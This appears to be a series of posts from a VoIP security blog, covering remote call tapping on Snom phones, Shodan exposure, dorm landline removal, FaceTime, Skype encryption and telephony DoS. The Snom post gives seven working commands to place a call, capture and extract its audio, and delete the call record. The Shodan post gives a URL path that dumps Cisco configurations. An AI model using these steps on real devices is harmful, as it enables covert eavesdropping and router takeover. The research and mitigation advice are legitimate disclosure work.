It’s a Feature! — Remote Tapping a Snom VoIP Phone

I have a bit of history in attacking VoIP phones, specifically VoIP Wifi phones. Way back in 2005-2006 I purchased several VoIP Wifi phones and conducted very basic security analysis to demonstrate a commonality of vulnerabilities, most notably that many of them had a number of open ports and extraneous services.

This research resulted in several CVEs, including some companies that should have known better. I also spoke a few conferences, and you can check out my Shmoocon slides from 2006. Most importantly of all, my findings of the VXworks debugging port of UDP/17185 was recently deeply expanded upon by none other than HD Moore who released research and a set of tools that is truly awe-inspiring when it comes to attacking VXworks debugging. For myself, it was humbling to see HD take this to a level that I can only dream of someday attaining.

So, last week, Michael Sutton at Zscalar wrote a blog post about misusing a new feature in HP Printers called WebScan. Essentially, WebScan functionality allows a user to scan a document that is physically on the printer and save the image to the local computer. HP’s WebScan is an excellent example of how a device’s features are all too often are leveraged by attackers, and Michael’s post inspired me to look at some recent features ripe for abuse in VoIP phones.

One area that I wanted to revisit is attackers able to control a VoIP phone dialing. Back in 2006 I identified a feature in Clipcomm VoiP Wifi phones that would allow an attacker to log into the phone via telnet and place a call from the VoiP Wifi phone to any number. Pretty bad stuff, right?

Looking at some of the newer VoIP phones from Snom, however, and there’s a webpage on the Snom’s webserver that allows one to enter in a number to dial. A useful feature, so long as your Snom has authentication set on the webserver, otherwise anyone with access to that webpage can make a call. From the Snom user’s perspective, this feature will start a call from your Snom on the speakerphone.

So, with this kind of feature, an attacker could search for Snom phones exposed on the Internet, determine if they are using HTTP authentication, and if they are not, could easily connect the the Snom VoIP phone’s webserver and punch in the number to dial — clearly opening up avenues to cause grief such as expensive 900 numbers, prank calls, etc.

Really, this is not a big deal, and is more of a headache than anything else. But what if an attacker could remotely capture on the phone the voice streams from a call that she placed? That ups the ante a bit, and such an attack is possible by abusing features!

Snom VoIP Phone PCAP Trace

Some Snom VoIP phones have a feature called “PCAP Trace” that allows, via the web interface, the start/stop and download of a PCAP file on the Snom VoIP phone — the screenshot below shows the actual page on the VoIP phone, a Snom 360 in this case.

The Snom PCAP Trace feature does have limitations in that it the PCAP data is stored in a circular buffer because of memory limitations, and that enabling PCAP capture can impact the phone’s performance (no surprise here). Still, it is a scary feature that if not secured creates an attack vector where a remote attacker can literally tap your phone.

Remote Tapping Your Snom VoIP Phone

To start/stop a PCAP on the Snom VoIP phone, one just clicks on the ‘Start’ or ‘Stop’ buttons on the phone webpage. After the capture is complete, an attacker can then download the PCAP trace and extract the audio using Wireshark or the amazing command-line RTPbreak by Michele Dallachiesa.

So, combining the web page place call feature with the PCAP trace feature, an attacker can make a Snom VoIP phone call any number and then the attacker can capture the call remotely on the Snom VoIP phone. For the final touch, an attacker can also delete the call record of the last call made, thereby wiping the apparent record of the call, at least on the Snom VoIP phone itself. Scary? You betcha. The following is a walk-through of the seven steps — you can code this up for yourself or download my handy-dandy snom_call_tap.sh script — please do be ethical and responsible with this script.

Poor Man’s NSA — Step-by-Step

Step 1: Start the tap on the Snom Web interface
wget –post-data=’start_pcap=Start’ $1/pcap.htm -O logz_$1/start_pcap.html

Step 2: Place the call to the target through the Snom Web Interface
wget –post-data=’NUMBER=’$2’&DIAL=Dial&active_line=1′ $1 -O logz_$1/place_call.html

Step 3: Stop the tap on the Snom Web interface
wget –post-data=’stop_pcap=Stop’ $1/pcap.htm -O logz_$1/stop_pcap.html

Step 4: Pull the PCAP from the Snom Web Interface
wget http://$1/trace.pcap -O logz_$1/trace_$1.pcap

Step 5: Run RTPbreak to extract the RTP stream from the PCAP
rtpbreak -P2 -t100 -T100 -d logz_$1 -r logz_$1/trace_$1.pcap

Step 6: Run SOX to marry the extracted audio into single WAV file
sox -r8000 -c1 -t ul logz_$1/rtp.0.0.raw -t wav logz_$1/0.wav

Step 7: Delete the last call record to cover tracks
wget http://$1/adr.htm?dialeddel=1 -O logz_$1/del_call_log.htm

So, there you have it. What makes this kind of feature especially problematic are two things. First, known vulnerabilities in some Snom phones allows an attacker to bypass authentication. Second, Shodan, which I’ve written about before here and here, makes it easy for attackers to locate vulnerable Snom phones. I leave following-up on these aspects an exercise for the reader.

Mitigation

Don’t like the possibility of some miscreant controlling your Snom VoIP phone, making calls on your behalf and tapping your calls? I expect that you don’t. Here are some humble suggestions to mitigate help you to mitigate your risk.

  • Avoid putting VoIP phones on public IP if at all possible
  • Use latest code for VoIP phones that patches known vulnerabilities
  • Enable authentication on the VoIP phone’s Web interface and use a strong password
  • Send logs from phone to another server and review for abuse
  • Train phone users to recognize their VoIP phone is compromised (slow running, makes calls by itself, etc.)
  • Demand from vendors firmware images that do not have such dangerous functionality — or at least have more authentication to use this kind of “feature”
  • Support alternatives like the Open Snom Project

    • Revisiting Shodan Computer Search Engine: Oh Noes, the places you’ll go!

    I’m sorry to say so
    But, sadly it’s true
    That bang-ups and hang-ups
    Can happen to you

    — Dr. Seuss, "Oh, the places you’ll go!" (1990)

    Back in January 2010, I wrote a short blog post about Shodan and VoIP devices and mentioned that it’s a site well worth revisiting.  Well, that time has come, and there’s plenty more to talk about when it comes to Shodan.

    What is Shodan?

    It is a publicly available, searchable database of pre-scanned networked devices.  The scanning includes banner results from common services like telnet and http, and is akin to fingerprinting.  One way to look at it is like Rainbow Tables for networked devices.

    What’s the risk?

    When a new vulnerability is discovered, Shodan makes it easy for attackers to search for vulnerable devices without actively scanning.  For example, say a vulnerability is published about Apache Mod_Security — an attacker can easily search Shodan for vulnerable version and then launch an attack to pwn the box.

    Attackers can also use Shodan search filters and really narrow down search results, by country code or CIDR netblock for example.  You do have to register for more specific search functionality if you’re interested in say, the 24 Cisco boxes in Iran with no authentication.

    Pssst….wanna Pwn 7000 Cisco routers/switches?

    Yes you can.  And only because some network admin didn’t know how to configure HTTP authentication.  It’s easy peasy with Shodan’s most popular search.  Click on the resulting IP addresses from that search and you’ll get the HTTP interface of a Cisco router/switch with no authentication.  Add "/level/15/exec/-/sh/run/CR" to the IP address and you’ll get the "show running configuration" output of the device.  Understand what’s going on here.  An attacker can easily add an admin-level account, change the configuration, crack the listed Cisco passwords in the configuration to target other devices on that network, etc. 

    Why should I care?

    Shodan creates risk by making poor configurations and other adminstrator mistakes much more visible to potential attackers.  It also creates risk by providing a pre-scanned inventory of potential targets.  I’ve seen some amazingly frightning devices discovered through Shodan that are wide open and have no authentication — for a few examples:

    • An Eastern European country’s SCADA water treatment network
    • A switch controlling the Neurosurgery VLANs of a hospital
    • Physical security door access controller systems
    • Routers with VoIP configurations
    • and plenty more….

    These are just a few examples of the micro-risks.  I think from a macro-risk perspective, specifically concerning the Cisco routers with no authentication, is the very possible and easy mass takeover of routers and potential for BGP attacks.  Not possible?  Well, think back to early 2008 when Pakistan modified BGP routes to block YouTube and because of a misconfiguration, large swaths of the Internet outside of Pakistan could not access the site. This was the result of a error from a few routers broadcasting bad BGP routes — now imagine if an attacker does this with a few thousand routers distributed globally?  I think it’s really only a matter of time…

    What should I do?

    There are tangible steps you can take.  First and foremost if to register fora free Shodan account and search for devices on your organization’s CIDR netblock.  If you are working with buisness partners that are connected to you, check their CIDR netblocks in Shodan as well.  Make a stink and inform the right network and security people of the risks of Shodan exposure.

    Or

    You can do nothing, and let Shodan determine your fate.  Your choice.

    Voice of VOIPSA upgraded to WordPress 3.0.1

    Just a quick administrivia note – this site is now running the latest and greatest WordPress software at version 3.0.1.  In my testing, everything looks perfectly fine, but if you see anything strange on the site in terms of display issues, please do let us know.  Thanks – and thanks for continuing to read and comment here.

    Risks Of Phone Removal From University Dorm Rooms

    Risk:  A Growing And Disturbing Trend
     
    Today the Washington Post and WSJ Blog both reported on a decision by the University of Virgina Housing Division to remove phones from student dorm rooms.  The obvious justification for the decision is the cost associated with providing phone infrastructure residence halls, in UVa’s case over 500K annually.
     
    I can understand the financial predicament many universities find themselves in today’s economy, and clearly students in general are more frequently choosing mobile communications.  Further, it’s noted in the articles that the university intends to provide dedicated phones in the hallways for emergency calls.
     
    Still, I suggest this elimination of dorm phones is going to result in increased risk to students and residence hall staff.  For what it’s worth, I speak from 6 years of experience as a former resident assistant and hall director in residence halls at large public universities.  While this was several years ago, and before the widespread use of cellular phones on campus, the technical and social impact of losing dorm landlines raises several troubling issues.
     
    Risk:  Cellular versus Landline Reliability
     
    First and foremost, having hardline phones in individuals’ dorm rooms provides a constant, always-available, and above all, reliable phone connection.  With the network and cellular connection problems we all constantly experience, which by-the-way we’ve have little insight into the reasons for years, having the peace-of-mind of a reliable hardline should not be dismissed lightly.  If you were starting a business with a office, would you rely soley on a cellular phone?  What would be your reaction if you checked into a hotel and there was no phone? 
     
    Risk:  Emergency Location (e911) Issues
     
    If you have children at home, would you choose not to have a landline?  Probably not, even if you provide them with mobile phones.  You might say this is not a fair question in the context of college students, of whom most are technically adults over age 18.  I’ll counter this with the fact that a typical dorm has students from all over the country and world together in a close-quarter living environment.  As any residential life staff can tell you, the potential for conflict outbreaks of all kinds and levels is a constant threat, and it’s important to remember that these students come from a variety of backgrounds and all have their problems and issues that become magnified in a close-quarter living environment.
     
    From my own experiences as residence hall staff, I’ve handled everything from common roommate conflicts, breaking-up floor parties, suicidal residents, theft/vandalism, residents unconscious from alcohol/drugs, weapons, physical fights, etc.  In every case, having a phone nearby proved invaluable. 
     
    Perhaps an even more important point, on one university campus we had e911 which provided the emergency operator the actual room location from where the phone call was made.  On another campus we did not have that feature, and precious time was lost in the task of determining the call location — in fact, several instances of students dialing 9-911 resulted in them accessing off-campus emergency personnel, resulting the in the time-loss of transferring the call back to campus emergency resources.  And this was the case of landline phones in all rooms — we can expect more confusion as these calls will now go over cellular networks.
     
    While the location capabilities of many cellular phones and e911 is available, the difficulty in pinpointing location should not be overlooked.  Aside from the network congestion and coverage issues I alluded to earlier, in many residence hall situations the building is a multi-story residence.  Expecting cellular e911 to provide emergency responders accuracy to the floor and room is unrealistic in the best of circumstances.  The impact of this is going to be more confusion and lost time in responding to residence hall emergency calls made over cellular.
     
    Risk:  Losing A Known Point of Contact
     
    An overlooked benefit of landlines is that one knows the actual location one is calling (assuming call-forwarding, etc. is not in play).  In the case of dorm rooms, residence hall staff have a listing of all room phone numbers.  Many, many times I’ve used this list to initiate contact with a dorm resident, from trying to determine if someone was in the room without having knocking on the door, following-up with a sick resident or a resident with a disability, or tactically approaching a room party by talking one-on-one with the room’s resident rather than facing a room party and hostile audience in the doorway.
     
    The removal of individual room phones means the loss of a valuable tool in residence hall staff’s toolkit. The ability to initiate contact over the phone to a known room should not be discarded lightly, and the loss of these phones means residence halls staff are losing a tactical advantage.
     
    In the case of roommate and other domestic conflicts, several times I’ve seen a fight escalate to the point where one of the parties called 911.  In some cases, the resident hung-up the phone immediately, before stating the issue to the emergency operator.  Of course, since the call was made from a room landline, and state law required the emergency response to the call location, soon after the university police would arrive at the room.  Often this resulted in the arrest, or referral to student affairs, or the people involved, which lead to them getting assistance. With cellular phones, this response is impaired greatly, and I fear that escalating situations will not reap the benefits of current landline and police response capabilities.
     
    There are some potential loss of privacy issues for dorm residents here as well.  In the case of most landlines, one can more easily choose to block their outgoing caller-id, a useful feature if a dorm resident is calling a crisis line or making inquiries on a subject they wish to remain anonymous.  The ability to do this in private, from ones room, is critical; the common-area landlines in the halls are not going to provide this physical privacy, and given the location of the phones it would not surprise me if the ability to block outgoing caller-id is disabled.  Why?  Because I expect the amount of crank calling from common area phones in dorms will increase by orders of magnitude…
     
    No Easy Answers
     
    Unfortunately there is no easy solution to this dire situation.  Universities, especially in the public sector, are forced to make cost cuts in this poor economy, and telecommunications overhead like dorm phones is a easy measure to take, but the increased risk and costs are at this point not worth it.  The replacement technologies, such as relying on student’s to have cellular phones, or even VoIP phones replacing landlines in dorm rooms, still lack the same robustness in emergency response features that we’ve relied upon on grown accustomed to over the years.  Still, like it or not, the removal of dorm phones is a trend gaining in popularity and we’re only going to see more campuses choosing this path.  To this end, some recommendations I have are:

    • Ensure that student’, and their parents, are made aware of the issues and risks of not having a landline, as well as the benefits

    • Prioritize cellular e911 location tracking on college campuses

    • Require residents with disabilities to have a landline

    • Provide residence hall staff with resident’s cellular numbers

    • Provide a privacy booth for landline phones placed in common areas to enable students to make calls with some level of privacy and caller-id blocking

    Blackberries and Lawful Intercept

    While it is not “VoIP security,” per se, much of the communications market is buzzing this week with news that calls made on Blackberry smartphones can be intercepted by the U.S. government. Many stories have been written, but here’s one:

    U.S. authorities able to tap BlackBerry messaging

    While many of us in the security community have known that national governments could obtain calls on mobile devices by obtaining a warrant and working with the carrier, the article I linked to mentions the big difference with RIM:

    RIM is in an unusual position of having to deal with government requests to monitor its clients because it is the only smartphone maker who manages the traffic of messages sent using its equipment. Other smartphone makers — including Apple Inc, Nokia, HTC and Motorola Corp — leave the work of managing data to the wireless carrier or the customer.

    RIM’s encrypted, or scrambled, traffic is delivered through secure servers at its own data centers, based mostly in its home base of Canada. Some corporate clients choose to host BlackBerry servers at other locations.

    The issue here seems to be from the articles I’ve read that the United Arab Emirates government is claiming that RIM is not granting them the same surveillance capabilities as other governments.

    Not having any connection whatsoever to the situation, I can’t really comment on what all is going on… but it does continue to point out the challenges in our globally interconnected world. Here are mobile devices being used wherever… routing their email messages back through servers apparently in Canada… and desired to be read by governments around the world. All sorts of jurisdiction issues … and so much more…

    If you found this post interesting or helpful, please consider either subscribing via RSS or following VOIPSA on Twitter.

    Weaponizing the Nokia N900 – Part 1

    In the 80s movie “The Color of Money” there’s a great scene where a player challenges Tom Cruise’s character to a game. He strolls up to Vincent and says “So what you got in there?” — to which Vincent replies. “Doom.”

    This is akin to how I felt a few weeks ago after I finally got ahold of a Nokia N900 smartphone. Calling it a phone is a bit of a stretch, as it is primarily a Debian Linux tablet with impressive hardware specs and a huge number of .deb packages available for installation…oh, and you can make cellular phone calls with it. Many people use this phone, and despite some glitches it is rapidly developing into a formidable platform for security tools and penetration testing.

    Broadly speaking, the objective of this series of blog posts is to introduce folks to the tools available and the potential for this phone as a security testing platform. Given the fact I’m a bit late in obtaining this phone, some smart people out there have already started to address the n900’s capabilities and available tools, and I would be remiss not to mention, and build upon, their insightful work. The key phrase here is “build upon” and get the word out, not to steal or simply re-hash their fine work and efforts!

    I’ve one caveat to this series of blog posts. As my n900 is for now a “production phone” for me in that I need to use it and can’t brick it just yet, the path of this blog series on “Weaponizing the Nokia N900” will progress from known, tested and functioning security tools on this phone — and therefore lower risk of bricking — to more advanced, edgy tools that require more tweaks and modifications, such as replacing the stock kernel. If someone out there finds this series useful, and has interest in furthering research on running security tools on the n900, I’d welcome the donation of a n900 for development and testing, and would credit them for their support. Please ping me offline if you’re interested 🙂

    NeoPwn and the Nokia N900

    One project to watch in particular is the upcoming release of NeoPwn, which is based on BackTrack and bills itself as the “First Ever Network Auditing Distribution for a Mobile Phone Platform” and is due for release sometime this month, hopefully before DefCon. I am fortunate to be in the BETA and will write up a blog post for this series on NeoPwn once I get full access to the NeoPwn toolset.

    Worthy Resources on Nokia n900 Security Tools

    1. Metasploit on the Nokia n900. ‘Nuff said.

    metaspolit n900

    2. knownokia.ca Blog SimonLR wrote an excellent post on “Using the N900 for Fun and Profit” that covers several awesome tools, such as Metasploit, Dsniff, SSLstrip, Aircrack-NG, etc. He’s clearly savvy and his future blogging on tools for the n900 will be great to see.

    3. Asterisk on the n900

    Asterisk n900

    When I added the extra package repositories to my n900, I was more than a bit surprised to see a full version of Asterisk available as a .deb package. Wow. Think about this for a moment. One can run a full Asterisk server on a phone in their pocket. The capability of Asterisk on the n900 could enable attackers to do all sorts of mischief, such as running the SPITTER tool from their pocket as a simple example. From a surveillance aspect, think of “bad people” with n900s in their pockets running Asterisk servers on their phones and connecting to each other point-to-point over encrypted tunnels — now that’s a challenge.

    Stay tuned for more posts on “Weaponizing the Nokia N900” 🙂

    Unified Communications Security Presentation at SpeechTEK NY, Aug 2nd

    hearmeatstek-1.jpgIf any of you will be at the SpeechTEK conference in New York August 2-4, I’ll be there and giving a presentation on Monday, August 2nd, at 4:15 about Unified Communications security. The panel abstract is:

    As applications move into the multichannel and interconnected world, what are the security concerns you need to consider? Aaron Fisher enumerates the best practices for information security with speech applications and the benefits of tuning in a secure environment. Dan York, author of the bestselling book The Seven Deadliest Unified Communication Attacks, will discuss the major risk areas of unified communications, what steps you can take to mitigate/reduce those risks, a checklist of questions to consider in your implementation, and a look at the future in an increasingly interconnected and converged network.

    I’ll be naturally covering some of the topics in my book and talking about overall communication security, VoIP security, cloud security, etc. Not sure if I’ll be able to make a recording of it available later, but will do so if I can. If you are going to be at the show, please do say hello. (More info on what I’m doing on the show can be found here.)

    If you found this post interesting or helpful, please consider either subscribing via RSS or following VOIPSA on Twitter.

    Facetime, Apple, and VoIP

    Very interesting news:  Apple’s new iPhone4 application, Facetime, is a VoIP and IP Video application using SIP signaling and RTP media.  Security researcher and SANS Instructor Josh Wright has posted a very interesting and detailed analysis of the Facetime application on Packetstan, a new blog developed by his other SANS and InGuardians colleagues .  A couple of quick summary points from Josh’s analysis and a quick look at the phone that we have done thus far:

    • iPhone Facetime client doesn’t use SIP REGISTER for authentication
    • Uses STUN for NAT Traversal and resolving the remote callee and called party’s IP address of each iPhone
    • After the remote party’s IP address has been resolved, SIP INVITE and MESSAGE packets are exchanged directly between iPhone devices
    • Cleartext SIP and RTP
    • RTP video appears to use the H.264 video codec, and audio appears to use the AAC-LD codec (the same audio codec used in Cisco TelePresence).
    • FaceTime uses XMPP to authenticate each iPhone to an Apple Jabber server, using TLS and mutual certificate authentication.

    Josh and I were discussing this the other day because he was trying to use the ‘VideoSnarf’ tool in order to re-construct the H.264 encoded media packets.  The codec does appear to be H.264, but with some slightly modified reserved fields.  Right now this isn’t working, but we hope to have an updated version of VideoSnarf working together with Facetime traffic in the near future.

    This is so interesting because it is the first SIP client on a widely deployed consumer Smartphone device developed and supported by a vendor such as Apple.  I think it signals that we are going to see more of these applications – these are exciting times.  It will be interesting to see how other vendors follow up soon with 2-camera video clients on Smartphones using VoIP protocols, taking the lead from Apple.  I am sure many others will be taking a closer look at Facetime, and the attack surface area here for potential exposures are very interesting, as well as the potential security measures that can be applied in order to protect Facetime traffic.

    Skype encryption partially cracked?

    skypelogo.jpgThe big news circulating through the Internet right now related to Skype is that someone may have reverse-engineered part of Skype’s encryption. Two posts of note:

    The comments on the TechCrunch article are particularly worth reading as a number of security-related folks have jumped into the debate – and the author of the reverse-engineered code has jumped in as well (or someone claiming to be him, anyway).

    People have been trying to reverse-engineer Skype’s proprietary encryption algorithm’s for years… and there have been various presentations at conferences and much data out there. In this case now, a developer named Sean O’Neil has made code available that apparently will decrypt one layer of Skype’s encryption.

    Now, the code does NOT give you access to actual Skype messages. O’Neil writes in the TechCrunch comments:

    Decryption of the RC4 layer gives nothing other than the ability to check CRC-32 of the packets, mere detection of random-looking encrypted packets as Skype. Maybe some firewalls will be able to block it at last.

    I interpret that to mean that this code could help differentiate Skype traffic from other network traffic. The value there is really only, as the author says, that tools could be able to block Skype traffic because it could be more easily identified.

    O’Neil goes on to say he has reverse-engineered more of Skype’s protocols and will be laying it all out at the Chaos Communication Conference in Berlin in December. We’ll have to see what gets said then…

    More on Telephony Denial of Service (TDoS) Attacks

    I assume most everyone has seen the FBI press release on Telephony Denial of Service (TDoS). For those who have not, see:

    http://newark.fbi.gov/pressrel/pressrel10/nk051110.htm

    I am also seeing the term used to describe enterprise-directed DoS, where an attacker typically floods a contact center with calls. I have recently worked with both enterprises, service providers, and hosted IVR companies that have seen these attacks. The current motive seems to be traffic pumping/revenue generation, not DoS per se, but the side impact is that operation at the target sites is degraded or seriously disrupted, depending on call volume and trunk capacity. Interestingly, the targets I have talked to are primarily using TDM trunks, while the attackers (according to the service providers I have talked to) are using VoIP. I have a post on my blog with more information:

    http://voipsecurityblog.typepad.com/marks_voip_security_blog/2010/06/more-on-telephony-dos-tdos.html

    Is anyone else seeing these attacks?